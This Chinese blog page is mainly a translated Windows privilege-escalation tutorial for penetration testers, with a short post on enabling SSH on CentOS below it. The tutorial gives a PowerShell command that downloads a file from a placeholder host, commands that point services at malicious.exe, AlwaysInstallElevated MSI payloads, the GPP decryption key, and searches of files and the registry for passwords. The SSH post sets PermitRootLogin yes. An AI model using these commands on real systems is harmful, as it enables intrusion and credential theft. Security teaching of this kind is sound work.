Windows提权笔记大纲设计以下主题:Windows提权命令参考本地权限提升服务漏洞Windows注册表不安全的文件系统权限AlwaysInstallElevated获得凭证利用令牌权限DLL 劫持自动化的工具和框架Windows提权命令参考以下是一些必要的Windows命令:命令描述systeminfo打印系统信息whoami获得当前用户名whoami /priv当前帐户权限ipconfig网络配置信息ipconfig /displaydns显示DNS缓存route print打印出路由表arp -a打印arp表hostname主机名net user列出用户net user UserName关于用户的信息net use \\SMBPATH Pa$$wOrd /u:UserName连接SMBnet localgroup列出所有组net localgroup GROUP关于指定组的信息net view \\127.0.0.1会话打开到当前计算机net session开放给其他机器netsh firewall show config显示防火墙配置DRIVERQUERY列出安装的驱动tasklist /svc列出服务任务net start列出启动的服务dir /s foo在目录中搜索包含指定字符的项目dir /s foo == bar同上sc query列出所有服务sc qc ServiceName找到指定服务的路径shutdown /r /t 0立即重启type file.txt打印出内容icacls "C:\Example"列出权限wmic qfe get Caption,Description,HotFixID,InstalledOn列出已安装的补丁(New-Object System.Net.WebClient).DownloadFile("http://host/file","C:\LocalPath")利用ps远程下载文件到本地accesschk.exe -qwsu "Group"修改对象(尝试Everyone, Authenticated Users和/或Users)这个起点比较友好,下面还有一些可以参考的:https://www.microsoft.com/en-us/download/details.aspx?id=2632https://ss64.com/nt/https://www.sans.org/security-resources/sec566/windows_command_line_sheet_v1.pdf另外还有两个语言供参考:WMICPowerShellExploits多年来,Windows肯定有很多内核攻击的案例分享,并且不乏各种版本的本地授权exp。事实上,本指南列出的内容很多。有关Windows漏洞的一些相关列表,请参阅以下资源:https://github.com/SecWiki/windows-kernel-exploitshttps://www.exploit-db.com/local/https://pentestlab.blog/2017/04/24/windows-kernel-exploits/务必检查系统的补丁级别,以确定它是否可利用。正常的测试是检查系统上最新补丁的日期。如果它比漏洞利用程序更旧,则系统可能容易受到攻击。请务必查找该漏洞利用程序的相关修补程序,并查看它是否已安装。还要记住,利用内核漏洞可能会影响系统的稳定性(会把系统打崩)!在测试产品之前要小心。首先探索其他潜在的载体总是好的。服务配置错误利用配置错误的服务进行提升权限是常用方法。本节将介绍可以利用的Windows服务的几种方法。不带引号的服务路径当系统管理员配置Windows服务时,他们必须指定要执行的命令,或者运行可执行文件的路径。当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引导中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。这可能有点不直观,所以让我们来看一个实际的例子。假设服务配置类似于以下存在bug的示例服务:C:Program FilesVulnerable ServiceSub Directoryservice.exeWindows命令解释程序可能会遇到名称中的空格,并且希望通过将字符串包装在引导中来对它们进行转义。在上面的示例中,如果系统运行该服务,它将尝试运行以下可执行文件:C:Program.exeC:Program FilesVulnerable.exeC:Program FilesVulnerable ServiceSub.exeC:Program FilesVulnerable ServiceSub Directoryservice.exetext为了讲清楚这个漏洞,定义一个名为example.exe的程序,这是一个简单打印出自己名称的正常二进制文件:#include <stdio.h> void main(int argc, char *argv[]) { printf("[*] Executed %s\n", argv[0]); }考虑当从命令行通过其绝对路径执行此程序时会发生什么,在引导内:C:\>"C:\Example\Sub Directory\example.exe" [*] Executed C:\Example\Sub Directory\example.exe C:\> 或: C:\>C:\Example\Sub Directory\example.exe 'C:\Example\Sub' is not recognized as an internal or external command, operable program or batch file.C:>这意味着如果服务器名不加引号,我们可以放置一个与第一个名称相同的恶意二进制文件作为文件系统对象,并在其名称中包含空格,并且当服务尝试执行其二进制文件时会将它运行。我们所需要的只是对路径中目录的写权限。考虑通过隐藏example.exe来利用上述示例,C:ExampleSub.exe在没有空格的情况下调用上面的示例,如易受攻击的服务:C:>C:ExampleSub Directoryexample.exe[*] Executed C:ExampleSubC:>一条命令找到这些错误配置:bashwmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:Windows\" | findstr /i /v """不安全的服务权限即使正确引用了服务器名,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它。AccessChk工具可以用来查找用户可以修改的服务:C:UsersuserDesktop>accesschk.exe -uwcqv "user" *Accesschk v6.02 - Reports effective permissions for securable objects Copyright (C) 2006-2016 Mark RussinovichSysinternals - www.sysinternals.comRW Vulnerable ServiceSERVICE_ALL_ACCESS也可以使用以下sc qc命令查询服务:C:UsersuserDesktop>sc qc "Service"[SC] QueryServiceConfig SUCCESSSERVICE_NAME: ServiceTYPE : 10 WIN32_OWN_PROCESSSTART_TYPE : 2 AUTO_STARTERROR_CONTROL : 1 NORMALBINARY_PATH_NAME : C:Program Files (x86)Program FolderSubfolderService.exeLOAD_ORDER_GROUP : UIGroupTAG : 0DISPLAY_NAME : ServiceDEPENDENCIES :SERVICE_START_NAME : LocalSystem最后,可以在HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices注册表项中找到有关服务的信息。另请参阅本指南Windows注册表的部分。如果可以修改服务的BINPATH,则可以利用它:C:UsersuserDesktop>sc config "Vulnerable" binpath="C:malicious.exe"[SC] ChangeServiceConfig SUCCESS修改后,必须重新启动服务才能执行二进制文件。可以手动重启服务。先停止它:C:UsersuserDesktop>sc stop "Vulnerable"SERVICE_NAME: VulnerableTYPE : 10 WIN32_OWN_PROCESSSTATE : 3 STOP_PENDING(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)WIN32_EXIT_CODE : 0 (0x0)SERVICE_EXIT_CODE : 0 (0x0)CHECKPOINT : 0x0WAIT_HINT : 0x0然后启动:C:UsersuserDesktop>sc start "Vulnerable"作为低权限用户,这可能会失败:C:UsersuserDesktop>sc stop "ServiceName"[SC] OpenService FAILED 5:Access is denied.要强制重新启动,可以重新启动系统,或者可以通过社工管理员或管理自己重新启动系统。该服务还可能在启动时抛出错误消息:C:UsersuserDesktop>sc start "ServiceName"[SC] StartService FAILED 1053:The service did not respond to the start or control request in a timely fashion.当Windows执行服务时,它们应与Windows服务控制管理器通信。如果不这样做,SCM就会杀死这个进程。通过使用执行自动迁移到新进程的payload,手动迁移进程,或者在执行后将服务的bin路径设置回原始服务二进制文件,可以解决这个问题。注册表以下是通过注册表识别漏洞的一些方法。注册表由一系列配置单元或配置集合组成。它们按以下方式分解:HKEY_CLASSES_ROOT - 文件类型的默认应用程序HKEY_CURRENT_USER - 当前用户的个人资料HKEY_LOCAL_MACHINE - 系统配置信息HKEY_USERS - 系统用户配置文件HKEY_CURRENT_CONFIG - 系统启动硬件配置文件可以从命令行调用注册表,也可以使用GUI工具Regedit进行交互。SUBINACL工具有助于检查注册表项,但它必须被部署为一个.msi。如果系统AlwaysInstallElevated没有配置错误,则低权限用户无法使用更高权限安装.msi。(有关AlwaysInstallElevated的详细信息,请参阅后面的部分。)例如,要使用SubInACL查询易受攻击的服务:C:UsersuserDesktop>subinacl.exe /keyreg "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesService" /display ...在上面的例子中,everyone给出了full control。也可以使用AccessChk工具查询注册表。一旦发现有漏洞的配置,就可以将木马放入服务的ImagePath中。C:UsersuserDesktop>reg add "HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesService" /t REG_EXPAND_SZ /v ImagePath /d "C:UsersuserDesktopmalicious.exe" /fThe operation completed successfully.与上面情况一样,必须重新启动服务才能运行木马。即使系统上的所有服务都是封闭的,注册表也可能会出现其他漏洞。可能会保存凭据或其他信息,或者可以调整配置。此外,reg命令还可用于本地保存注册表配置单元,以便使用RegRipper等工具进行散列破解,SAM文件提取和静态分析。不安全的文件系统权限管理员通常为某些路径配置自由权限,以避免潜在的访问错误。这可以提供一种简单的利用途径,因此考虑与服务和服务二进制文件关联的文件系统权限是关键。在配置错误的Windows服务的情况下,可能存在服务可执行文件的路径被完全引用并且服务权限被限制但实际二进制文件本身就不安全。例如:C:Program Files (x86)Program Folder>icacls "C:Program Files (x86)ProgramService Folder"C:Program Files (x86)ProgramService Folder Everyone:(0I)(CI)(F)...在上面的例子中,Everyone具有路径的完全控制权限(F)。还可以使用AccessChk工具调查文件系统权限。默认情况下,所有经过身份验证的用户都可以写入安装在根C:目录中的软件目录。例如,Ruby、Perl和Python等脚本语言或Landesk或Marimba等远程管理工具的目录。系统安装后创建的目录通常也是可写的。C:root中的可写目录可能位于应用程序的路径中,这意味着二进制文件或.dll之类的项也可以注入其路径中。AlwaysInstallElevatedAlwaysInstallElevated是一种允许非管理用户以SYSTEM权限运行Microsoft Windows安装程序包(.MSI文件)的设置。默认情况下禁用此设置,需系统管理员手动启用他。可以通过查询以下注册表来识别此设置:[HKEY_CURRENT_USERSOFTWAREPoliciesMicrosoftWindowsInstaller] “AlwaysInstallElevated”=dword:00000001[HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsInstaller] “AlwaysInstallElevated”=dword:00000001例如,通过使用reg query命令:C:> reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated或:C:> reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated如果存在漏洞,上面将输出以下内容:HKEY_CURRENT_USERSOFTWAREPoliciesMicrosoftWindowsInstallerAlwaysInstallElevated REG_DWORD 0x1如果系统没这个漏洞,它将输出错误:ERROR: The system was unable to find the specified registry key or value.如果系统配置了AlwaysInstallElevated,则可以利用它来提升权限。可以使用msfvenom创建恶意.msi文件。选择所需的payload并设置使用-f msi将输出格式设置为MSI。然后可以使用msiexec在易受攻击的系统上执行攻击代码。组策略首选项漏洞组策略首选项(GPP)与附加到域的计算机的基于Server 2008策略的配置一起发布。客户端计算机定期使用当前登录用户的帐户凭据进行域控制,以进行身份验证,然后生成配置策略。可用于软件部署、配置启动脚本、映射网络共享、配置注册表配置单元、配置打印机、管理安全权限等。还可以为本地管理员帐户配置密码。这些策略文件存储在域控制器的SYSVOLL共享中的一系列.xml文件中。路径通常是这样的:\REMOTE_HOSTSYSVOLLREMOTE_HOSTPolicies{POLICY_ID}MachinePreferences\可能存在以下配置文件:ServicesServices.xmlScheduledTasksScheduledTasks.xmlPrintersPrinters.xmlDrivesDrives.xmlDataSourcesDataSources.xml这些配置文件可能包含名为“cpassword”的配置选项,用于配置帐户的密码。这些密码使用32字节AES密钥加密:4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b此漏洞已通过MS14-025解决,但此修补程序仅阻止创建新策略,并且包含凭据的任何旧版GPP仍然容易受到攻击。破解密码可以使用该配置访问计算机的本地管理员帐户,这可以通过Kali中的gpp-decrypt命令完成:root@kali:~# gpp-decrypt j1Uyj3Vx8TY9LtlZi12uAuZkFQA/41atT76Zwgdhdhw Local*P4ssword!凭证窃取(读书人怎么能叫窃呢)在主机上可以找到一些密码:textunattend.xmlGPP.xmlSYSPREP.INFsysprep.xml其他各种配置文件日志文件注册表项文件如my_passwords.txt, my_passwords.xls等还可以搜索文件系统以查找常见的敏感文件。ps:个人意见,提权就是看你信息收集的全面不全面C:UsersuserDesktop> dir C:*vnc.ini /s /b /c或者在名称中包含关键词的项目:C:UsersuserDesktop> dir C: /s /b /c | findstr /sr *password*或者可以在文件内容中搜索password之类的关键字:C:UsersuserDesktop>findstr /si password *.txt | *.xml | *.ini可以查询注册表,例如,字符串password:reg query HKLM /f password /t REG_SZ /sreg query HKCU /f password /t REG_SZ /s系统管理员可能有包含凭据的配置文件。unattend.xml文件用于自动化软件部署,并包含纯文本(base64编码)凭据。此外,已知一些用户将其密码保存在纯文本文件中是为了方便而忽视了安全性。令牌权限可以在以下系统中滥用这些令牌:Microsoft Windows XP Professional SP3和之前版本Windows Server 2003 SP2和之前的版本Windows Server 2003 x64和x64 SP2Windows Server 2003 (用于基于Itanium的系统SP2和先前版本)Windows Server 2008Windows Server 2008 x64Windows Server 2008 (用于基于Itanium的系统)Windows Vista SP1和之前的版本Windows Vista x64 SP1和之前的版本帐户有许多可利用的令牌权限:SeImpersonatePrivilegeSeAssignPrimaryPrivilegeSeTcbPrivilegeSeBackupPrivilegeSeRestorePrivilegeSeCreateTokenPrivilegeSeLoadDriverPrivilegeSeTakeOwnershipPrivilegeSeDebugPrivilege要查看与当前帐户使用关联的权限 whoami /priv。这些权限可能与帐户相关联,从根本上意味着用户能够进行导致操作系统以可利用的方式运行payload的操作。如果他们的帐户具有必要的权限,则攻击者可以调用Microsoft分布式事务处理协调器(MSDTC)服务来执行某些操作。它在进行远程过程调用时请求提升权限,然后调用它从而生成特权安全令牌以执行特权操作。当系统允许这些令牌不仅用于进程本身,而且还用于原始请求进程时,漏洞就会出现。有些帐户更有可能拥有这些帐户,并且有很多方法可以利用这些帐户。例如:获取对用于系统备份的服务帐户的访问权限,并强制与运行responder.py的SMB共享进行NTLM通信利用Web服务并获得可以执行SQL查询和帐户的帐户的访问权限 XP_CMDSHELL Kerberoast攻击,或从域控制器获取Kerberos票证并将其脱机在以完全信任模式配置TIS的系统上执行ASP.NET代码能够为ISAPI过滤器或扩展提供代码发现其他服务帐户凭据泄漏利用令牌权限是许多权限升级漏洞利用的技术,例如Metasploit中的许多工具,以及DirtyPotato等。这是一个值得开发的领域,值得进一步研究。有关这方面的更多信息,请参见此处。DLL劫持动态链接库(DLL)通过提供跨系统共享的可执行代码模块,在操作系统上提供了大量功能。当开发人员未指定DLL的完全限定的绝对路径时,就会出现漏洞。当进程调用DLL时,它按以下顺序查找它:加载应用程序的目录(例如,相对路径引用的DLL)32位系统目录(C:WindowsSystem32)16位系统目录(C:WindowsSystem)Windows目录(C:Windows)当前工作目录(CMD)PATH环境变量中的目录(系统路径,然后是用户路径)它执行它找到的.dll的第一个实例。首先,有几种方法可以识别这个漏洞的流程。该进程监视工具可以用来查看整个的过程,以及搜索和过滤他们的活动,对脆弱的DLL进行调用。HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesServiceNameParameters可以查询注册表项以查看服务运行的服务DLL,或者可以将二进制文件加载到IDA中并搜索loadlibrary库调用。另外一定要检查DLL本身的DLL调用!一旦找到易受攻击的DLL调用,就必须检查该DLL的文件系统:C:> dir vulnerable.dll /s还要注意,不要因为它找不到就认为它不存在。它可能只是在当前用户帐户无法查看的目录中。最后,要执行DLL highjack,需要在目录层次结构中的某个位置,原始.dll本身,CWD或PATH中的目录中编写安全测试的.dll。PATH是一个环境变量,它定义命令解释器在发出命令时应查找可执行文件的位置。修改PATH,并将.dll写入PATH中的目录,允许进行DLL劫持,进程在PATH中搜索.dll文件。要修改PATH,例如:C:UsersuserDesktop>set PATH=%PATH%;C:Python27这将允许通过C:Python27目录中的路径加载可执行文件和DLL,默认情况下,任何经过身份验证的用户都可以写入该目录。一些已知具有DLL劫持漏洞的Windows服务是:IKE和AuthIP IPsec密钥模块(IKEEXT):wlbstr1.dllWindows Media Center接收器服务(ehRecvr):ehETW.dllWindows Media Center计划程序服务(ehSched):ehETW.dll自动更新(wuauserv):ifsproxy.dll远程桌面帮助会话管理器(RDSession):SalemHook.dll远程访问连接管理器(RasMan):ipbootp.dllWindows Management Instrumentation (winmgmt):wbemcore.dll音频服务(STacSV):SFFXComm.dll SFCOM.DLL英特尔快速存储技术(IAStorDataMgrSvc):DriverSim.dllJuniper统一网络服务(JuniperAccessService):dsLogService.dllEncase Enterprise Agent:SDDisk.dll可以在此处找到已知具有dll劫持漏洞的其他服务。工具和框架幸运的是,有许多工具和框架可以使提权变得更容易:MetasploitSherlockwindows-privesc-checkWindows-Exploit-SuggesterPowerUp, now part of PowerSploitNishang其中许多工具可以通过自动识别可利用的错误配置或通过检查系统补丁级别与常见的已知漏洞来帮助您。但它们不是100%有效,所以要注意误报/漏报!ps:上面的工具老司机应该都很熟练了最后的想法感谢您的阅读,我希望您发现本指南很有用。(我希望你已经获得了那个SYSTEM shell!)我将在接下来的几个月内发表一些有趣的研究,但我恐怕此时不能再详细介绍,敬请期待!;)参考ps: 下面是一些不错的可以学习利用的网站和博客Windows权限升级基础https://www.fuzzysecurity.com/tutorials/16.htmlWindows权限升级第1部分:本地管理员权限https://blog.netspi.com/windows-privilege-escalation-part-1-local-administrator-privileges/Pentesters的Windows权限提升方法https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/“嗯,快速升级”常见的Windows权限升级向量https://toshellandback.com/2015/11/24/ms-priv-esc/自动执行Windows权限提升http://resources.infosecinstitute.com/automating-windows-privilege-escalation/Windows 8上的Extreme Privilege Escalationhttps://www.blackhat.com/docs/us-14/materials/us-14-Kallenberg-Extreme-Privilege-Escalation-On-Windows8-UEFI-Systems.pdf滥用令牌权限进行Windows本地权限提升https://foxglovesecurity.com/2017/08/25/abusing-token-privileges-for-windows-local-privilege-escalation/Microsoft Windows令牌绑定权限提升漏洞https://tools.cisco.com/security/center/viewAlert.x?alertId=15702您对GPP了解多少?https://www.toshellandback.com/2015/08/30/gpp/Windows操作系统中的Privilege升级http://www.cs.toronto.edu/~arnold/427/155/csc427/indexth/privilege-escalation/privilege-escalation-windows.pdf滥用EOP的令牌权限https://github.com/hatRiot/token-private利用弱文件夹权限提升权限http://www.greyhathacker.net/?p=738Metasploit Unleashed: 特权升级https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/位操作: 将系统令牌作为普通用户窃取https://zerosum0x0.blogspot.nl/2016/02/bits-manipulation-stealing-system.html不带引号的服务路径https://www.commonexploits.com/unquoted-service-paths/Windows中的权限提升https://codemuch.tech/2017/05/14/priv-esc-win.htmlSysInternals AccessChk工具https://docs.microsoft.com/en-us/sysinternals/downloads/accesschkAccessChk.exe使用指南https://blogs.technet.microsoft.com/seeguide/2008/07/21/how-to-use-accesschk-exe-for-security-compliance-management/SubInACL.exe下载https://www.microsoft.com/en-us/download/details.aspx?id=23510当我输入getsystem时会发生什么https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-get-system/动态链接库搜索顺序https://msdn.microsoft.com/en-us/library/windows/desktop/ms682586(v=vs.85).aspx进程监视器下载https://docs.microsoft.com/en-us/sysinternals/downloads/procmon动态链接库安全性https://msdn.microsoft.com/en-us/library/windows/desktop/ff919712(v=vs.85).aspxWindows文件和文件夹权限指南https://msdn.microsoft.com/en-us/library/bb727008.aspxSECWIKIhttps://github.com/SecWikiAccess Tokenshttps://msdn.microsoft.com/en-us/library/windows/desktop/aa374909(v=vs.85).aspx访问令牌的工作原理https://technet.microsoft.com/en-us/library/cc783557(v=ws.10).aspxWindows RE6参考https://ss64.com/nt/reg.htmlWindows CMD参考https://ss64.com/nt/如何使用Regedithttps://www.techsupportalert.com/content/learn-how-use-windows-registry-editor-regedit-one-easy-lesson.htm调用-WCMDumphttps://securityonline.info/invoke-wcmdump-dump-windows-credentials-from-the-credential-manager/WMIC命令参考https://www.computerhope.com/wmic.htmPowerShell参考https://ss64.com/ps/penetration-testing-ninjitsu-with-edhttp://carnal0wnage.blogspot.com/2008/02/penetration-testing-ninjitsu-with-ed.htmlDLL劫持易受攻击的应用程序https://www.exploit-db.com/dll-hijacking-vulnerable-applications/Windows/Linux本地特权升级研讨会https://github.com/sagishahar/lpeworkshop如何使用组策略劫持攻击拥有任何Windows网络https://labs.mwrinfosecurity.com/blog/how-to-own-any-windows-network-with-group-policy-hijacking-attacks/真实世界中的Pentesting:组策略Pwnagehttps://blog.rapid7.com/2016/07/27/pentesting-in-the-real-world-group-policy-pwnage/Windows内核漏洞利用https://pentestlab.blog/2017/04/24/windows-kernel-exploits/
2025年12月15日
6 阅读
1 评论
2 点赞
2024-10-26
ssh服务配置
{mtitle title="ssh服务"/}centos开启ssh服务安装 openssh-serveryum install openssh-server这些操作debian也可以把yum替换成apt就行修改sshd服务配置文件 sshd_configvi /etc/ssh/sshd_configPort 22前面的 #号 去除 这个改成yes,前面的#去掉,就是允许root登录PermitRootLogin yes号 去除开启允许远程登录号 去除使用用户名密码来作为连接验证保存文件,退出开启 sshd 服务service sshd start使SSH服务开机自启:sudo systemctl enable ssh
2024年10月26日
10 阅读
0 评论
0 点赞
1
2